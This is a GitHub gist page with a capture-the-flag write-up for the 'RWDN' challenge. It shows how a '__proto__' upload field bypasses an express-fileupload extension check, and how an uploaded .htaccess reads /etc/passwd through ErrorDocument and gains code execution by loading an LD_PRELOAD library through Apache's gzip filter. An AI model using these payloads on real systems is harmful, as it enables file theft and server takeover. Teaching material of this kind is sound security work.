Skip to content

Instantly share code, notes, and snippets.

@deltaclock
Forked from wupco/RWDN_writeup.md
Created June 30, 2022 06:37
Show Gist options
  • Select an option

  • Save deltaclock/8cc7a7c0d47ed50bd1aad38bb13dc9a0 to your computer and use it in GitHub Desktop.

Select an option

Save deltaclock/8cc7a7c0d47ed50bd1aad38bb13dc9a0 to your computer and use it in GitHub Desktop.

Revisions

  1. @wupco wupco revised this gist Jan 24, 2022. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions RWDN_writeup.md
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,4 @@
    Don't you think it is a baby challenge?
    ### Bypass the extension check
    ```Javascript
    Object.keys(req.files).forEach(function(key){
    @@ -44,6 +45,8 @@ requests.post(url+'upload?formid=1', files={
    'decoy': ('decoy', 'lel'),
    })
    ```
    It is because I wrote wrong codes, this challenge seems easier than intended, you could upload multiple files to bypass the check directly.
    ### capabilities of .htaccess
    1. read arbitrary files
  2. @wupco wupco created this gist Jan 24, 2022.
    67 changes: 67 additions & 0 deletions RWDN_writeup.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,67 @@
    ### Bypass the extension check
    ```Javascript
    Object.keys(req.files).forEach(function(key){
    var filename = req.files[key].name.toLowerCase();
    var position = filename.lastIndexOf('.');
    if (position == -1) {
    return next();
    }
    var ext = filename.substr(position);
    var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
    if ( !allowexts.includes(ext) ){
    res.status(400).send('Something error.');
    return;
    ```
    Object.keys would not list `__proto__` attributes, so if you upload a file with `__proto__` name field, it could not be checked by
    this code.
    In https://github.com/richardgirges/express-fileupload/blob/master/lib/utilities.js#L92
    ```Javascript
    const buildFields = (instance, field, value) => {
    // Do nothing if value is not set.
    if (value === null || value === undefined) return instance;
    instance = instance || {};
    // Non-array fields
    if (!instance[field]) {
    instance[field] = value;
    return instance;
    }
    // Array fields
    if (instance[field] instanceof Array) {
    instance[field].push(value);
    } else {
    instance[field] = [instance[field], value];Roman Burunkov, 3 years ago: • Forgot to add buildFields code
    }
    return instance;
    };
    ```
    `__proto__` is an attribute of `instance`, so finally, it would execute `instance[field] = [instance[field], value];`, which make
    req.files to be an array, you could access the file object by array index.
    So this payload works and it won't crash the server, it is intended solution.
    ```Python
    # from Sauercloud-pspaul
    requests.post(url+'upload?formid=1', files={
    '__proto__': ('payload.so', content),
    'decoy': ('decoy', 'lel'),
    })
    ```
    ### capabilities of .htaccess
    1. read arbitrary files
    upload a `.htaccess` like this
    ```
    ErrorDocument 404 %{file:/etc/passwd}
    ```
    Then visit a non-exist path base on the directory, you could get the file contents of `/etc/passwd` directly.
    2. get remote code execution
    When you try to read `/etc/apache2/apache.conf`, you will get this line `ExtFilterDefine gzip mode=output cmd=/bin/gzip`.
    It could compress the response contents and could be actived by `.htaccess` file.
    Then you could pass environment vars to `/bin/gzip` command by `setEnv`.
    ```
    SetOutputFilter gzip
    setEnv LD_PRELOAD /xxxxxx/evil.so
    ```
    Upload your evil `.so` files and enjoy your shell :)